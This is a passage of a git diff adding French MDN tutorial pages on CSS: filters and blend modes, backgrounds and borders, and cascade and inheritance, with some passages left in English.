+  text-align: center ;
+  width: 100px;
+  border: 5px dashed red;
+}
+
+.filter {
+  -webkit-filter: drop-shadow(5px 5px 1px rgba(0,0,0,0.7));
+  filter: drop-shadow(5px 5px 1px rgba(0,0,0,0.7));
+}
+
+.box-shadow {
+  box-shadow: 5px 5px 1px rgba(0,0,0,0.7);
+}
+ +

Vous obtiendrez le résultat suivant :

+ +

{{ EmbedLiveSample('Filtres', '100%', 200) }}

+ +

Comme vous pouvez le voir, l'ombre portée obtenue avec le filtre est une réplique de la forme exacte du texte et du tireté de l'encadrement. L'ombre de la boîte est celle du rectangle opaque du conteneur.

+ +

Quelques autres points à noter :

+ +
    +
  • Les filtres sont une fonctionnalité très récente — ils sont pris en charge dans la plupart des navigateurs modernes, y compris Microsoft Edge, mais ils ne sont pas du tout pris en charge dans Internet Explorer. Si vous utilisez des filtres dans vos designs, vous devrez vous assurer que le contenu reste utilisable sans filtres.
    • +
  • Comme vous pouvez le voir, nous avons inclus une version de la propriété filter préfixée par -webkit-. On appelle cela un {{glossary("Vendor Prefix")}} (préfixe fournisseur) : c'est parfois utilisé par un navigateur avant de rendre définitive l'implémentation d'une nouvelle fonctionnalité. Cela permet de la prendre en charge et de l'expérimenter sans entrer en conflit avec la version non préfixée. Les préfixes fournisseur ne sont pas destinés à être utilisés par les développeurs web, mais ils sont parfois utilisés dans les pages de production si ces fonctionnalités expérimentales sont vraiment désirées. Dans notre cas, la version -webkit- de la propriété est actuellement requise pour une prise en charge par Chrome/Safari/Opera, alors que Edge et Firefox utilisent la version finale non préfixée.
    • +
+ +
+

Note : Si vous décidez d'utiliser des préfixes dans votre code, assurez-vous d'inclure tous les préfixes requis ainsi que la version non préfixée, afin que le plus grand nombre possible de navigateurs puissent utiliser la fonction, et lorsque les navigateurs abandonneront plus tard les préfixes, ils pourront également utiliser la version non préfixée. Soyez également averti que ces caractéristiques expérimentales pourraient changer, de sorte que votre code pourrait casser. Il est vraiment préférable d'expérimenter avec ces fonctions jusqu'à ce que les préfixes soient supprimés.

+
+ +

Vous pouvez voir d'autres exemples de filtres sur filters.html (voir aussi le code source).

+ +

Modes de mélange de couleurs

+ +

Les modes de mélanges de couleurs des CSS  permettent d'effectuer des combinaisons de formes et de couleurs entre deux éléments superposés — la couleur finale montrée pour chaque pixel est le résultat d'une combinaison de la couleur originale du pixel et de celle du pixel dans le calque de superposition. Ces modes de mélange sont des procédés familiers aux utilisateurs d'applications graphiques comme Photoshop.

+ +

Deux propriétés utilisent les modes de mélange de couleurs dans les CSS :

+ +
    +
  • {{cssxref("background-blend-mode")}} qui mélange plusieurs images d'arrière‑plan et des couleurs sur un seul élément.
    • +
  • {{cssxref("mix-blend-mode")}} qui mélange les couleurs de l'élément auquel la propriété est appliquée avec un élément de superposition — à la fois le fond et le contenu.
    • +
+ +

Vous trouverez beaucoup plus d'exemples de ce qui est disponible à la page blend-modes.html  (voir aussi le code source) et à la page de référence de {{cssxref("<blend-mode>")}}.

+ +
+

Note : Les modes de mélange sont aussi une toute nouvelle fonctionnalité un petit peu moins bien prise en charge que les filtres. Il n'y a pas de prise en charge encore dans Edge et Safari ne l'accepte que partiellement.

+
+ +

background-blend-mode

+ +

Regardons à nouveau des exemples pour mieux comprendre. D'abord, {{cssxref("background-blend-mode")}} — nous montrons une couple de simples éléments {{htmlelement("div")}} avec lesquels vous pourrez comparer l'original et la version avec mélange de couleurs :

+ +
<div>
+</div>
+<div class="multiply">
+</div>
+ +

Maintenant la CSS — nous ajoutons aux <div> une image d'arrière‑plan sur un fond vert :

+ +
div {
+  width: 250px;
+  height: 130px;
+  padding: 10px;
+  margin: 10px;
+  display: inline-block;
+  background: url(https://mdn.mozillademos.org/files/13090/colorful-heart.png) no-repeat center 20px;
+  background-color: green;
+}
+
+.multiply {
+  background-blend-mode: multiply;
+}
+ +

Le résultat obtenu est le suivant  — à gauche l'original et le mode mélange multiply à droite :

+ +

{{ EmbedLiveSample('background-blend-mode', '100%', 200) }}

+ +

mix-blend-mode

+ +

Voyons maintenant {{cssxref("mix-blend-mode")}}. Nous présentons les deux même <div>, mais chacun est posé sur un fond mauve pour montrer les effets du mélange :

+ +
<article>
+  Mode sans mélange
+  <div>
+
+  </div>
+  <div>
+  </div>
+</article>
+
+<article>
+  Mélange "multiply"
+  <div class="multiply-mix">
+
+  </div>
+  <div>
+  </div>
+</article>
+ +

Voici la CSS avec laquelle nous stylisons :

+ +
article {
+  width: 280px;
+  height: 180px;
+  margin: 10px;
+  position: relative;
+  display: inline-block;
+}
+
+div {
+  width: 250px;
+  height: 130px;
+  padding: 10px;
+  margin: 10px;
+}
+
+article div:first-child {
+  position: absolute;
+  top: 10px;
+  left: 0;
+  background: url(https://mdn.mozillademos.org/files/13090/colorful-heart.png) no-repeat center 20px;
+  background-color: green;
+}
+
+article div:last-child {
+  background-color: purple;
+  position: absolute;
+  bottom: -10px;
+  right: 0;
+  z-index: -1;
+}
+
+.multiply-mix {
+  mix-blend-mode: multiply;
+}
+ +

Nous obtenons le résultat suivant :

+ +

{{ EmbedLiveSample('mix-blend-mode', '100%', 200) }}

+ +

Vous voyez ici que mix-blend-mode: multiply; a mélangé non seulement les deux images d'arrière plan, mais également la couleur du <div> situé dessous.

+ +
+

Note : Ne vous inquiétez pas si vous ne saisissez pas certaines propriétés de mise en page telles que {{cssxref("position")}}, {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("z-index")}}, etc. Nous en reparlerons en détail dans le module CSS Layout.

+
+ +

-webkit-background-clip: text

+ +

L'autre fonctionnalité naissante, que nous mentionnons brièvement avant de poursuivre (actuellement prise en charge par Chrome, Safari et Opera, en cours d'implémentation dans Firefox) est la valeur texte pour la propriété {{cssxref("background-clip")}}. Utilisée avec la fonctionnalité propriétaire -webkit-text-fill-color: transparent; cette fonction vous permet de découper les images d'arrière-plan à la forme du texte de l'élément, ce qui donne de jolis effets. Il ne s'agit pas d'une norme officielle, mais elle a été mise en œuvre sur plusieurs navigateurs, car elle est populaire et assez largement utilisée par les développeurs. Utilisées dans ce contexte, les deux propriétés nécessitent un préfixe fournisseur -webkit- même pour les navigateurs non-Webkit/Chrome :

+ +
.text-clip {
+  -webkit-background-clip: text;
+  -webkit-text-fill-color: transparent;
+}
+ +

Alors pourquoi d'autres navigateurs ont-ils implémenté un préfixe -webkit- ? Principalement pour la compatibilité des navigateurs — tant de développeurs web ont commencé à implémenter des sites web en utilisant le préfixe -webkit- que ces autres navigateurs ont semblé dysfonctionner, alors qu'en fait ils suivaient la norme. Ils ont donc été contraints d'implémenter quelques unes de ces fonctionnalités. Cela met en évidence le danger d'utiliser des fonctionnalités CSS non standard et/ou préfixées dans votre travail — non seulement elles causent des problèmes de compatibilité avec les navigateurs, mais elles sont également sujettes à changement, de sorte que votre code peut casser à tout moment. Il vaut beaucoup mieux s'en tenir aux normes.

+ +

Si vous voulez utiliser de telles fonctionnalités dans votre travail de production, assurez-vous de tester minutieusement tous les navigateurs et vérifiez que, lorsque ces fonctionnalités ne sont pas prises en charge , le site reste toujours utilisable.

+ +
+

Note : Pour un exemple de code complet avec -webkit-background-clip: text,  allez à la page background-clip-text.html (voir aussi le code source).

+
+ +

Apprentissage actif : expérimenter certains effets

+ +

À votre tour, maintenant. Pour cet apprentissage actif, nous voulons que vous expérimentiez certains effets que nous avons vus ci-dessus avec le code fourni ci-dessous.

+ +

Si vous faites une erreur, vous pouvez toujours Réinitialiser l'exemple avec le bouton correspondant.

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 820) }}

+ +

Résumé

+ +

Nous espérons que vous avez trouvé cet article divertissant — s'amuser avec des jouets brillants l'est généralement et il est toujours intéressant de voir les types d'outils qui viennent d'être mis à disposition dans les navigateurs de pointe. Après avoir atteint la fin des articles sur les styles des boîtes, vous allez tester vos compétences en la matière avec nos évaluations.

+ +

{{PreviousMenuNext("Learn/CSS/Styling_boxes/Styling tables", "Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper", "Learn/CSS/Styling_boxes")}}

+ +

 

+ +

Dans ce module

+ + diff --git a/files/fr/learn/css/building_blocks/backgrounds_and_borders/index.html b/files/fr/learn/css/building_blocks/backgrounds_and_borders/index.html new file mode 100644 index 0000000000..53299b96fe --- /dev/null +++ b/files/fr/learn/css/building_blocks/backgrounds_and_borders/index.html @@ -0,0 +1,318 @@ +--- +title: Arrière-plans et bordures +slug: Apprendre/CSS/Building_blocks/Backgrounds_and_borders +translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders +--- +
{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks")}}
+ +

Dans cette leçon, nous verrons quelques unes des mises en forme créatives autorisées par les bordures et les arrière-plans CSS. On peut ajouter des dégradés, des images de fond, et des coins arrondis, les arrière-plans et les bordures répondent à de nombreux besoins de mise en forme CSS.

+ + + + + + + + + + + + +
Prérequis:Compétences informatique basiques , logicels de base installés, connaissance simple en manipulation de fichiers, les bases du HTML (voir Introduction au HTML), et une esquisse du fonctionnement du CSS (voir premiers pas en CSS. )
Objectif:Apprendre comment mettre en forme l'arrière-plan et les bordures.
+ +

Mettre en forme l'arrière-plan avec CSS

+ +

La propriété CSS {{cssxref("background")}} est un raccourci pour une famille de propriétés concernant l'arrière-plan. Nous les explorons dans cette partie. On peut rencontrer dans une feuille de style des déclarations de la propriété background difficiles à analyser, tant le nombre de valeurs qu'on peut lui passer est important.

+ +
.box {
+  background: linear-gradient(105deg, rgba(255,255,255,.2) 39%, rgba(51,56,57,1) 96%) center center / 400px 200px no-repeat,
+  url(big-star.png) center no-repeat, rebeccapurple;
+} 
+
+ +

Nous reviendrons un peu plus loin sur le fonctionnement des raccourcis. Pour l'instant, passons en revue les propriétés CSS des arrière-plans.

+ +

Couleur de fond

+ +

La propriété {{cssxref("background-color")}} définit la couleur d'arrière-plan d'un élément HTML. La propriété accepte comme valeur n'importe quelle <color>. La background-color s'étend sous le contenu dans la zone de remplissage (padding box) de l'élément.

+ +

Dans l'exemple ci-dessous, nous ajoutons des couleurs de fond à une boîte, un titre et un élément {{htmlelement("span")}}.

+ +

Expérimentez avec ce code, en faisant varier les valeurs  <color> dans les différentes déclarations.

+ +

{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/color.html", '100%', 800)}}

+ +

Images de fond

+ +

La propriété {{cssxref("background-image")}} permet d'afficher une image dans l'arrière-plan d'un élément. L'exemple ci-dessous montre deux boîtes — l'une avec une image de fond trop grande, l'autre avec comme fond une petite image représentant une étoile.

+ +

Cet exemple illustre deux points concernant l'utilisation d'images de fond. Par défaut, une image trop large n'est pas redimensionnée pour correspondre aux dimension de la boîte, on n'en voit qu'un coin, alors qu'un image de fond ne remplissant pas la boîte sera automatiquement répétée en pavage pour occuper tout l'espace disponible. Dans l'exemple, l'image d'origine est juste une étoile.

+ +

{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/background-image.html", '100%', 800)}}

+ +

Si on spécifie une couleur de fond en plus de l'image de fond, l'image s'affiche par dessus la couleur. Expérimentez ce comportement en ajoutant une propriété background-color dans l'exemple ci-dessus.

+ +

Contrôler le background-repeat

+ +

La propriété {{cssxref("background-repeat")}} permet de contrôler la répétition d'image pour former des pavages. Les valeurs possibles sont :

+ +
    +
  • no-repeat — aucune répétition de l'arrière-plan.
    • +
  • repeat-x — répétition horizontale.
    • +
  • repeat-y — répétition verticale.
    • +
  • repeat — comportement par défaut : répétition dans les deux directions.
    • +
+ +

Expérimentez l'effet de ces valeurs dans l'exemple ci-dessous. La valeur est fixée à  no-repeat, une seule étoile apparaît donc. Remplacez par repeat-x et repeat-y  et observez.

+ +

{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/repeat.html", '100%', 800)}}

+ +

Dimensionner l'image de fond

+ +

Dans l'exemple ci-dessus on voit qu'une image d'arrière-plan est recadrée quand elle dépasse de l'élément dont elle est le fond. Dans un tel cas, la propriété {{cssxref("background-size")}} — avec comme valeur une  longueur ou un pourcentage, permet d'adapter l'image à l'élément pour en occuper tout le fond.

+ +

On peut aussi utiliser les mots-clé :

+ +
    +
  • cover — le navigateur redimensionne l'image pour que tout le fond soit couvert, en conservant le format de l'image. La plupart du temps, une partie de l'image est en dehors de la boîte.
    • +
  • contain — le navigateur donne à l'image la plus grande taille possible à l'intérieur de la boîte. Quand le format de l'image ne coïncide pas avec celui de la boîte, on se retrouve avec des bandes laissées vides en haut et en bas ou sur les côtés de l'image.
    • +
+ +

Dans l'exemple ci-dessous, l'image trop grande vue plus haut est retaillée aux dimensions de la boîte en précisant les valeurs numériques des côtés. On voit comment cela a déformé l'image.

+ +

Essayez ce qui suit :

+ +
    +
  • Changez les dimensions de l'arrière-plan.
    • +
  • Supprimez les dimensions numériques et observez ce qui se passe en les remplaçant par background-size: cover ou background-size: contain.
    • +
  • Si votre image est plus petite que la boîte, vous pouvez changer la valeur de background-repeat pour répéter l'image.
    • +
+ +

{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/size.html", '100%', 800)}}

+ +

Positionner l'image de fond

+ +

La propriété {{cssxref("background-position")}} permet de choisir la position de l'arrière-plan à l'intérieur de la boîte dans laquelle il est appliqué. On utilise pour cela un système de coordonnées avec l'origine (0,0) au coin en haut à gauche de la boîte, l'axe (x) étant horizontal, l'axe (y) vertical.

+ +
+

Note : La valeur par défaut de  background-position est (0,0).

+
+ +

Les valeurs les plus communes pour background-position se présentent sous la forme d'un couple — une valeur horizontale suivie d'une valeur verticale.

+ +

Vous pouvez utiliser les mots-clé tels que top et right (vous trouverez les autres valeurs possibles sur la page {{cssxref("background-image")}}):

+ +
.box {
+  background-image: url(star.png);
+  background-repeat: no-repeat;
+  background-position: top center;
+} 
+
+ +

Et Longueurs, ou pourcentages :

+ +
.box {
+  background-image: url(star.png);
+  background-repeat: no-repeat;
+  background-position: 20px 10%;
+} 
+
+ +

On peut utiliser simultanément mots-clé, dimensions et pourcentages, par exemple :

+ +
.box {
+  background-image: url(star.png);
+  background-repeat: no-repeat;
+  background-position: top 20px;
+}
+ +

La syntaxe à quatre valeurs enfin permet d'indiquer la distance depuis certains bords de la boîte — dans ce cas, la longueur correspond à un décalage par rapport à la valeur précédene. Par exemple dans le CSS ci-dessous on positionne l'arrière-plan à 20px du haut et à 10px de la droite : 

+ +
.box {
+  background-image: url(star.png);
+  background-repeat: no-repeat;
+  background-position: top 20px right 10px;
+}
+ +

Dans l'exemple ci-dessous, modifiez les valeurs pour déplacer l'étoile à l'intérieur de la boîte.

+ +

{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/position.html", '100%', 800)}}

+ +
+

Note : background-position est un raccourci pour{{cssxref("background-position-x")}} et {{cssxref("background-position-y")}}, qui permettent de fixer individuellement les positions sur chaque axe.

+
+ +

Arrière-plan dégradé

+ +

Un dégradé — quand on l'utilise pour arrière-plan — se comporte comme une image, il se paramètre aussi avec la propriété {{cssxref("background-image")}}.

+ +

Vous en apprendrez plus sur les différents types de dégradés et tout ce qu'on peut faire avec sur la page MDN consacrée au type <gradient>. Une manière amusante de découvrir les dégradés est d'utiliser l'un des nombreux générateurs de dégradés CSS disponibles en ligne, par exemple celui là. Créez votre dégradé puis copiez-collez le code source qui l'a généré.

+ +

Essayez différents dégradés dans l'exemple ci-dessous. Dans les deux boîtes on trouve respectivement un dégradé linéaire étendu sur toute la boîte et un dégradé circulaire de taille donné, qui du coup se répète.

+ +

{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/gradients.html", '100%', 800)}}

+ +

 Images de fond multiples

+ +

Il est aussi possible d'ajouter plusieurs images en arrière-plan — il suffit de spécifier plusieurs valeurs pour background-image , chacune séparé par une virgule.

+ +

Quand vous faîtes cela, il est possible de se retrouver avec plusieurs arrière-plans qui se chevauchent. Les arrière-plans se superposeront les uns sur les autres, avec le dernier se retrouvant sur le dessus, chacun suivant à leur tour, jusqu'au premier.

+ +
+

Note : on peut joyeusement mélanger gradients et images de fond classiques.

+
+ +

Les autres propriété background-* peuvent aussi avoir une série de valeurs séparées de virgules, de la même manière que  background-image:

+ +
background-image: url(image1.png), url(image2.png), url(image3.png), url(image1.png);
+background-repeat: no-repeat, repeat-x, repeat;
+background-position: 10px 20px,  top right;
+ +

Chaque valeur des différentes propriétés va correspondre aux valeurs placées à la même position dans les autres propriétés. Au dessus, par exemple, la valeur background-repeat de l' image1 sera no-repeat. Cependant, qu'arrive-t-il quand différentes propriétés ont différents nombres de valeurs? La réponse est que s'il y a moins de valeurs, elles seront réutilisées — dans l'exemple au-dessus il y a quatre images de fond mais seulement deux valeurs background-position. Les deux premières valeurs seront appliquées aux deux premières images, puis elles seront réutilisées pour les images suivantes — l' image3 recevra la première valeur, et l' image4 recevra la seconde valeur.

+ +

Jouons un peu. Dans l'exemple ci-dessous j'ai inclus deux images. To demonstrate the stacking order, try switching which background image comes first in the list. Or play with the other properties to change the position, size, or repeat values.

+ +

{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/multiple-background-image.html", '100%', 800)}}

+ +

Attachement du fond

+ +

Une autre option que nous avons à notre disposition pour les arrières-plans est de spécifier comment ils défilent quand le contenu défile lui-même. C'est contrôlé grâce à la propriété {{cssxref("background-attachment")}} , qui peut prendre ces valeurs:

+ +
    +
  • scroll: Causes the element's background to scroll when the page is scrolled. If the element content is scrolled, the background does not move. In effect, the background is fixed to the same position on the page, so it scrolls as the page scrolls.
    • +
  • fixed: Causes an element's background to be fixed to the viewport, so that it doesn't scroll when the page or element content is scrolled. It will always remain in the same position on the screen.
    • +
  • local: This value was added later on (it is only supported in Internet Explorer 9+, whereas the others are supported in IE4+) because the scroll value is rather confusing and doesn't really do what you want in many cases. The local value fixes the background to the element it is set on, so when you scroll the element, the background scrolls with it.
    • +
+ +

The {{cssxref("background-attachment")}} property only has an effect when there is content to scroll, so we've made a demo to demonstrate the differences between the three values — have a look at background-attachment.html (also see the source code here).

+ +

Utiliser la propriété raccourci background 

+ +

As I mentioned at the beginning of this lesson, you will often see backgrounds specified using the {{cssxref("background")}} property. This shorthand lets you set all of the different properties at once.

+ +

If using multiple backgrounds, you need to specify all of the properties for the first background, then add your next background after a comma. In the example below we have a gradient with a size and position, then an image background with no-repeat and a position, then a color.

+ +

There are a few rules that need to be followed when writing background image shorthand values, for example:

+ +
    +
  • A background-color may only be specified after the final comma.
    • +
  • The value for background-size may only be included immediately after background-position, separated with the '/' character, like this: center/80%.
    • +
+ +

Take a look at the MDN page for {{cssxref("background")}} to see all of the considerations.

+ +

{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/background.html", '100%', 800)}}

+ +

Arrière-plans et accessibilité

+ +

Quand on place un texte sur une image ou une couleur de fond, il faut s'assurer d'un contraste suffisant pour une bonne lisibilité. Quand un texte est écrit par-dessu une image, déclarez toujours une background-color qui rendra le texte lisible si l'image n'est pas chargée.

+ +

Les lecteurs d'écran ne traitent pas les images de fond, elles ne doivent donc pas être autre chose que décoratives ; tout contenu important doit faire partie de la page HTML et pas de la mise en forme du fond.

+ +

Bordures

+ +

When learning about the Box Model, we discovered how borders affect the size of our box. In this lesson we will look at how to use borders creatively. Typically when we add borders to an element with CSS we use a shorthand property that sets the color, width, and style of the border in one line of CSS.

+ +

We can set a border for all four sides of a box with {{cssxref("border")}}:

+ +
.box {
+  border: 1px solid black;
+}
+ +

Or we can target one edge of the box, for example:

+ +
.box {
+  border-top: 1px solid black;
+}
+ +

The individual properties for these shorthands would be:

+ +
.box {
+  border-width: 1px;
+  border-style: solid;
+  border-color: black;
+}
+ +

And for the longhands:

+ +
.box {
+  border-top-width: 1px;
+  border-top-style: solid;
+  border-top-color: black;
+}
+ +
+

Note : These top, right, bottom, and left border properties also have mapped logical properties which relate to the writing mode of the document (e.g. left-to-right or right-to-left text, or top-to-bottom). We'll be exploring these in the next lesson, which covers handling different text directions.

+
+ +

There are a variety of styles that you can use for borders. In the example below we have used a different border style for the four sides of my box. Play with the border style, width, and color to see how borders work.

+ +

{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/borders.html", '100%', 800)}}

+ +

Coins arrondis

+ +

On peut arrondir les coins d'une boîte avec la propriété {{cssxref("border-radius")}}  and associated longhands which relate to each corner of the box. Two lengths or percentages may be used as a value, the first value defining the horizontal radius, and the second the vertical radius. In a lot of cases you will only pass in one value, which will be used for both.

+ +

Par exemple, Pour donner par exemple un rayon de  10px à chacun des quatre coins :

+ +
.box {
+  border-radius: 10px;
+}
+ +

Ou de donner au coin en haut à droite un rayon horizontal de 1em et un rayon vertical de 10% :

+ +
.box {
+  border-top-right-radius: 1em 10%;
+}
+ +

Dans l'exemple ci-dessus, nous avons d'abord fixé la valeur pour les quatre coins, puis modifié celle du coin en haut à droite. Vous pouvez jouer avec les différentes valeurs pour changer le rendu des coins. Jettez un œil à la page de documentation de {{cssxref("border-radius")}}, vous y trouverez la syntaxe pour les différentes options.

+ +

{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/corners.html", '100%', 800)}}

+ +

Jouer avec les arrière-plans et les bordures

+ +

Testons vos nouvelles connaissances : en partant  de l'exemple fourni plus bas :

+ +
    +
  1. Donnez au bloc une bordure en trait plein noir de 5px de large, avec des coins arrondis de 10px.
    2. +
  2. Ajouter une image de fond (utiliser l'URL balloons.jpg) à redimensionner pour qu'elle recouvre la boîte.
    3. +
  3. Donnez au <h2> une couleur de fond noire semi-transparente, avec un texte en blanc.
    4. +
+ +

{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/task.html", '100%', 800)}}

+ +
+

Note : Vous pouvez jeter un œil à la solution ici — mais essayez d'abord de la trouver par vous-même !

+
+ +

Résumé

+ +

Nous avons vu beaucoup de choses dans cette leçon, ajouter un arrière-plan à une boîte ou  une bordure n'est pas si simple. N'hésitez pas à explorer les pages de référence des propriétés rencontrées si vous voulez creuser les points évoqués ici. Chaque page sur MDN vous proposera de nouveaux exemples sur lesquels vous pourrez continuer à vous entraîner et renforcer vos connaissances.

+ +

Dans la leçon suivante nous découvrirons comment le mode d'écriture de votre document interagit avec CSS. Que se passe-t-il quand le texte ne se déroule pas de la gauche vers la droite ?

+ +

{{PreviousMenuNext("Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks")}}

+ +

Dans ce cours

+ +
    +
  1. Cascade and inheritance
    2. +
  2. CSS selectors + +
    3. +
  3. The box model
    4. +
  4. Backgrounds and borders
    5. +
  5. Handling different text directions
    6. +
  6. Overflowing content
    7. +
  7. Values and units
    8. +
  8. Sizing items in CSS
    9. +
  9. Images, media, and form elements
    10. +
  10. Styling tables
    11. +
  11. Debugging CSS
    12. +
  12. Organizing your CSS
    13. +
diff --git a/files/fr/learn/css/building_blocks/cascade_and_inheritance/index.html b/files/fr/learn/css/building_blocks/cascade_and_inheritance/index.html new file mode 100644 index 0000000000..4f394ae7f2 --- /dev/null +++ b/files/fr/learn/css/building_blocks/cascade_and_inheritance/index.html @@ -0,0 +1,343 @@ +--- +title: Cascade et héritage +slug: Apprendre/CSS/Building_blocks/Cascade_et_heritage +tags: + - Apprendre + - CSS + - Cascade + - Débutant + - Héritage + - Règles + - ordre dans le source + - spécificité +translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance +--- +
{{LearnSidebar}}{{NextMenu("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks")}}
+ +

Le but de cette leçon est de développer votre compréhension des concepts les plus fondamentaux du CSS — la cascade, la spécificité et l'héritage — qui contrôlent la manière dont le CSS est appliqué au HTML et la manière dont les conflits sont résolus.

+ +

Bien que cette leçon puisse sembler moins pertinente dans l'immédiat et un peu plus académique que d'autres parties du cours, la compréhension de ces éléments vous épargnera bien des soucis plus tard ! Nous vous conseillons de parcourir attentivement cette section et de vérifier que vous avez bien compris les concepts avant de passer à la suite.

+ + + + + + + + + + + + +
Prérequis :Maîtrise élémentaire de l'informatique, suite logicielle de base installée, compétences élémentaires pour travailler avec des fichiers, connaissance de base du HTML  (cf. Introduction à HTML), et une idée de Comment fonctionne CSS.
Objectif :Découvrir la cascade et la spécificité, et comment l'héritage fonctionne en CSS.
+ +

Règles contradictoires

+ +

CSS est l'acronyme de Cascading Style Sheets, qu'on peut traduire par feuilles de style en cascade et la compréhension de ce premier mot cascading est cruciale — la façon dont la cascade se comporte est la clé de la compréhension du CSS.

+ +

À un moment donné, vous travaillerez sur un projet et vous constaterez que le CSS que vous pensiez appliquer à un élément ne fonctionne pas. En général, le problème est que vous avez créé deux règles qui pourraient potentiellement s'appliquer au même élément. La cascade, et le concept étroitement lié de spécificité, sont des mécanismes qui contrôlent quelle règle s'applique lorsqu'il y a un tel conflit. La règle qui régit votre élément n'est peut-être pas celle à laquelle vous vous attendiez, vous devez donc comprendre comment ces mécanismes fonctionnent.

+ +

Le concept d'héritage est aussi à garder en tête dans ces situations : certaines propriétés CSS par défaut héritent de la valeur donnée à l'élément parent de l'élément courant, d'autres non. Cela peut être à l'origine de comportements inattendus.

+ +

Commençons par examiner rapidement les éléments clés dont il est question, puis examinons chacun d'eux à tour de rôle et voyons comment ils interagissent entre eux et avec votre CSS. Cela peut sembler être un ensemble de concepts difficiles à comprendre. Cependant, à mesure que vous vous entraînerez à écrire des CSS, la façon dont ils fonctionnent deviendra plus évidente pour vous.

+ +

La cascade

+ +

À un niveau élémentaire, la cascade des styles signifie que l'ordre d'apparition des règles dans le CSS a une importance ; quand deux règles applicables ont la même spécificité, c'est la dernière déclarée qui sera utilisée pour la mise en forme.

+ +

Dans l'exemple ci-dessous deux règles pourraient s'appliquer à h1. Au final h1 est coloré en bleu — ces règles ont les mêmes sélecteurs, elles ont donc la même spécificité ; dans ce cas, c'est la règle écrite en dernier dans le CSS qui l'emporte.

+ +

{{EmbedGHLiveSample("css-examples/learn/cascade/cascade-simple.html", '100%', 400)}} 

+ +

Spécificité

+ +

Quand des règles avec des sélecteurs différents s'appliquent sur un même élément, le navigateur choisit la règle qui a la plus grande spécificité. La spécificité mesure essentiellement combien la sélection est précise :

+ +
    +
  • Un sélecteur d'élément est peu spécifique — il cible tous les éléments d'un type donné dans la page — son score est donc faible ;
    • +
  • Un sélecteur de classe est plus spécifique — dans la page, il ne cible que les éléments dont l'attribut class a la valeur choisie — son score est plus important.
    • +
+ +

Voyons cela sur un exemple. Ci-dessous, on retrouve deux règles qui pourraient s'appliquer à h1. Au final h1 est coloré en rouge — le sélecteur de classe donne une plus grande spécificité à sa règle, et du coup c'est cette règle qui est choisie même si elle apparaît plus tôt dans le CSS.

+ +

{{EmbedGHLiveSample("css-examples/learn/cascade/specificity-simple.html", '100%', 500)}} 

+ +

Nous expliquerons le score de spécificité et d'autres points reliés un peu plus loin.

+ +

Héritage

+ +

L'héritage est lui aussi à comprendre dans ce contexte — certaines valeurs pour une propriété CSS se transmettent des éléments parents vers leurs enfants, d'autres non.

+ +

Par exemple, si vous fixez une color et une font-family pour un élément, tout élément contenu dans le premier sera mis en forme avec la même couleur et la même police, à moins qu'on lui ait appliqué directement des règles.

+ +

{{EmbedGHLiveSample("css-examples/learn/cascade/inheritance-simple.html", '100%', 550)}} 

+ +

Certaines propriétés ne se transmettent pas — par exemple si vous attribuez un {{cssxref("width")}} de 50% à un élément, aucun de ses descendants n'aura une largeur diminuée de moitié par rapport à celle de son parent. Si c'était le cas, l'usage de CSS serait particulièrement frustrant !

+ +
+

Note : Sur MDN, dans les pages de référence des propriétés CSS, vous trouverez des encarts d'information technique, le plus souvent au pied de la section de spécifications, dans lesquels sont listés nombre de données sur la propriété, notamment si elle est héritée ou non. Voir la section des spécifications de la propriété color, par exemple.

+
+ +

Comprendre comment ces concepts se combinent

+ +

Ces trois concepts combinés permettent de décider dans tous les cas quelle règle CSS s'applique à quel élément ; dans les sections ci-dessous nous les verrons en action, ensemble. Cela peut parfois sembler compliqué, mais avec l'expérience les choses vous sembleront plus claires, et de toute façon, si vous oubliez, vous pourrez toujours retrouver tous les détails ici !

+ +

Comprendre l'héritage

+ +

Commençons par l'héritage. Dans l'exemple ci-dessous nous avons un  {{HTMLElement("ul")}}, contenant plusieurs niveaux de listes imbriquées. Nous avons spécifié une bordure, un remplissage (padding) et une couleur de police pour la <ul> extérieure.

+ +

La couleur est transmise aux enfants directs, et aussi enfants indirects — les <li> de la première liste, et ceux de la première liste de deuxième niveau. Nous avons ensuite ajouté une classe special à la seconde liste imbriquée et nous lui appliquons une autre couleur. Cette dernière est transmise aux descendants.

+ +

{{EmbedGHLiveSample("css-examples/learn/cascade/inheritance.html", '100%', 700)}} 

+ +

Les propriétés telles que largeur (comme mentionnée plus haut), marges, remplissage, et bordures ne se transmettent pas par héritage. Si les bordures se transmettaient aux enfants de la liste, on obtiendrait un effet étrange !

+ +

Dans la plupart des cas, le sens commun permet de comprendre quelles propriétés sont héritées par défaut et quelles propriétés ne se transmettent pas.

+ +

Contrôler l'héritage

+ +

CSS propose quatre valeurs spéciales universelles pour contrôler l'héritage. Ces valeurs sont applicables à toute propriété CSS.

+ +
+
{{cssxref("inherit")}}
+
La propriété correspondante prend la valeur définie dans l'élément parent. Dans les faits, cela "active l'héritage".
+
{{cssxref("initial")}}
+
La propriété correspondante prend la valeur par défaut définie dans la feuille de style du navigateur. Si aucune valeur n'est définie par défaut dans le navigateur et que la propriété est transmise par héritage la propriété est redéfinie à inherit.
+
{{cssxref("unset")}}
+
Redéfinit la propriété à sa valeur naturelle : si la propriété est transmise par héritage, le comportement est le même que  inherit, sinon il est identique à initial.
+
+ +
+

Note : Il existe aussi la valeur {{cssxref("revert")}}, dont le support par les navigateurs est limité.

+
+ +
+

